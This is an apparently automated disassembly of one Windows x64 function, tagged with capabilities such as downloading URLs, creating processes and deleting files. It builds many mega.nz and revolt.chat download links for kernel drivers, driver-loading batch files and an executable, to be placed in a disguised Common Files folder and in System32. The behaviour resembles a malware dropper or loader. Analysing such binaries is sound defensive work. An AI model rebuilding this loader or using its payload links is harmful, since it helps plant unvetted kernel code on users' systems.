Function at 0x14001e2b0
Capabilities:
Create process on windows
Delete file
Download url
Encode data using xor
Receive data
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x1820]
mov eax, 0x1920
call fcn.140077470
sub rsp, rax
movaps xmmword [rsp + 0x1910], xmm6
mov rax, qword [0x1400ddb80]
xor rax, rsp
mov qword [rbp + 0x1800], rax
call fcn.1400196f0
mov rcx, rax
call fcn.140019310
call fcn.1400196f0
xor ebx, ebx
cmp qword [rax + 8], 0xffffffffffffffff
jne 0x14001e3b5
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbx
lea r8d, [rbx + 7]
lea rdx, [0x14007c240]
lea rcx, [rsp + 0x30]
call fcn.1400187a0
lea rcx, [rsp + 0x30]
call fcn.140022e50
mov r8d, eax
xor edx, edx
mov ecx, 0x100000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, eax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
cmp edi, 0x102
je 0x140022627
lea rdx, str.___Loading_Blocker:
call fcn.140019a50
mov rcx, rax
mov dl, reloc.WLDAP32.dll_Ordinal_45
call fcn.140019810
lea rdx, [0x14001c6c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x14001c680]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140022f20
lea rdx, str.___Blocker_Status:_Success
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140019a50
mov rcx, rax
mov dl, reloc.WLDAP32.dll_Ordinal_45
call fcn.140019810
lea rdx, [0x14001c6c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x14007c248]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140019a50
lea rdx, [0x14001c6c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x14007c24c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140019a50
lea rdx, [0x14001c6c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x14007c250]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140019a50
lea rdx, [0x14001c6c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x14007c254]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140019a50
lea rdx, [0x14001c6c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400196f0
mov rcx, rax
call fcn.140019310
call fcn.1400196f0
cmp qword [rax + 8], 0xffffffffffffffff
je 0x1400225fa
xorps xmm0, xmm0
movups xmmword [rbp + 0x1640], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1650], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_dPkFWIxY33uo0tpKQQnJ1yn7QGbxmzTMNXnOXlglLIBzOqnfF0A
lea rcx, [rbp + 0x1640]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1620], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1630], xmm1
mov r8d, Ordinal_60
lea rdx, str.C:Program_Files__x86_Common_FilesSystem_adoNxtMaper.exe
lea rcx, [rbp + 0x1620]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1600], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1610], xmm1
mov r8d, 0x5e
lea rdx, str.https:__autumn.revolt.chat_attachments_civWXXQBlgSlQqFCe9o4iHNfqwaKjZzYlF8xo4qf6z_ndistcop.sys
lea rcx, [rbp + 0x1600]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x15e0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x15f0], xmm1
mov r8d, Ordinal_60
lea rdx, str.C:Program_Files__x86_Common_FilesSystem_ado_ndistcop.sys
lea rcx, [rbp + 0x15e0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x15c0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x15d0], xmm1
mov r8d, 0x64
lea rdx, str.https:__autumn.revolt.chat_attachments_WoKl1ko9gMhWWCbGKDcCb7URYla1ZmnExNjeCXQMcU_callbackdriver.sys
lea rcx, [rbp + 0x15c0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x15a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x15b0], xmm1
mov r8d, 0x41
lea rdx, str.C:Program_Files__x86_Common_FilesSystem_adocallbackdriver.sys
lea rcx, [rbp + 0x15a0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1580], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1590], xmm1
mov r8d, 0x63
lea rdx, str.https:__autumn.revolt.chat_attachments_jEqdxWAw7GbQPOrl4dDzzwGVvWNjodsoI7bdf3MuR0_NXTDRIVERLOAD.bat
lea rcx, [rbp + 0x1580]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1560], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1570], xmm1
mov r8d, 0x40
lea rdx, str.C:Program_Files__x86_Common_FilesSystem_adoNXTDRIVERLOAD.bat
lea rcx, [rbp + 0x1560]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1540], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1550], xmm1
mov r8d, 0x64
lea rdx, str.https:__autumn.revolt.chat_attachments_MKqa_gbaHApYRtN51oq6m3nqOvsNjIXK_GDPHPYQE1_NXTDRIVERLOAD2.bat
lea rcx, [rbp + 0x1540]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1520], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1530], xmm1
mov r8d, 0x41
lea rdx, str.C:Program_Files__x86_Common_FilesSystem_adoNXTDRIVERLOAD2.bat
lea rcx, [rbp + 0x1520]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1500], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1510], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_9PtDmARLPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x1500]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1660], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1670], xmm1
mov r8d, reloc.WLDAP32.dll_Ordinal_30
lea rdx, str.C:WindowsSystem3221xcxc8sdd
lea rcx, [rbp + 0x1660]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x14c0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x14d0], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_gXsgyD5bPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x14c0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x14a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x14b0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x14a0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1480], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1490], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_cekiyYgYPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x1480]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1460], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1470], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1460]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1440], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1450], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_hTV0CKBBPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x1440]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1420], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1430], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1420]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1400], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1410], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_NbEiUBaSPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x1400]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x13e0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x13f0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x13e0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x13c0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x13d0], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_hKd3lRBTPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x13c0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x13a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x13b0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x13a0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1380], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1390], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_5fE3WRJBPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x1380]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1360], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1370], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1360]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1340], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1350], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_VTVhDaSIPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x1340]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1320], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1330], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1320]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1300], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1310], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_cOk21BZAPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x1300]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x12e0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x12f0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x12e0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x12c0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x12d0], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_ILkC2byRPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x12c0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x12a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x12b0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x12a0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1280], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1290], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_Ves03JbDPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x1280]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1260], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1270], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1260]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1240], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1250], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_he9XFCAZPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x1240]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1220], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1230], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1220]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1200], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1210], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_9KUnCKgTPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x1200]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x14e0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x14f0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x14e0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x11c0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x11d0], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_VK1iSZIRPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x11c0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x11a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x11b0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x11a0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1180], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1190], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_JDVljA6CPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x1180]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1160], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1170], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1160]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1140], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1150], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_1b9gWC5QPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x1140]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1120], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1130], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1120]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1100], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1110], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_EHNnmDSSPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x1100]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x10e0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10f0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x10e0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x10c0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10d0], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_dK01BZaYPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x10c0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x10a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10b0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x10a0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1080], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1090], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_lLUxzaKCPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x1080]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1060], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1070], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1060]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1040], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1050], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_NTEUkTiAPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x1040]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1020], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1030], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1020]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1000], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1010], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_FClh1ajaPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x1000]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xfe0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xff0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xfe0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xfc0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xfd0], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_xDFklYCS8qNeF9Hnz8IBadhUeiniKNPvDN1NEpjjAAAAAAAAAAA
lea rcx, [rbp + 0xfc0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xfa0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xfb0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xfa0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xf80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf90], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_0CMRCI5Ka2hYOv7TvtyBB25VPUjXfOZ0czpuoicAAAAAAAAAAAA
lea rcx, [rbp + 0xf80]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xf60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf70], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xf60]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xf40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf50], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_pLERyYJCcHTz_1hBawZiMq7V_pjg7J4ajqurQnjuAAAAAAAAAAA
lea rcx, [rbp + 0xf40]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xf20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf30], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xf20]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xf00], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf10], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_1PkEmYIIaeiOE_3_uHnQOSRi5_hc5pmKhWcIhBzxAAAAAAAAAAA
lea rcx, [rbp + 0xf00]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xee0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xef0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xee0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xec0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xed0], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_4PtlCYKZktBT82BU_N4LNdB6KOeaizY0RnH07Cb_AAAAAAAAAAA
lea rcx, [rbp + 0xec0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xea0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xeb0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xea0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xe80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xe90], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_0DdCECoS_sQsh1aMDroGvNXT6_40JRvXgEssDbLsAAAAAAAAAAA
lea rcx, [rbp + 0xe80]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xe60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xe70], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xe60]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xe40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xe50], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_tbdHQBQJxtWQoXmGZkxP9W7Jw4hqcv4TZVdUWLFhAAAAAAAAAAA
lea rcx, [rbp + 0xe40]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xe20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xe30], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xe20]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xe00], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xe10], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_BfFi0ISItrWM9VmKOtWNeEItX54v0jrQsHqYq67uAAAAAAAAAAA
lea rcx, [rbp + 0xe00]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xde0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xdf0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xde0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xdc0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xdd0], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_BSFAiB7SMca6D7JFQ8jzplhzMLn_1Vkrr4IpBmdJAAAAAAAAAAA
lea rcx, [rbp + 0xdc0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xda0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xdb0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xda0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xd80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd90], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_wO8B1AJSDdlIA_COaDaTBrY_5UaOO7u_G_kZa_g5AAAAAAAAAAA
lea rcx, [rbp + 0xd80]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xd60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd70], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xd60]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xd40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd50], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_lDsTnTYTOf3PeukVNlXgU39nK17LE5zPXQrxFFdbAAAAAAAAAAA
lea rcx, [rbp + 0xd40]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xd20], xmm0
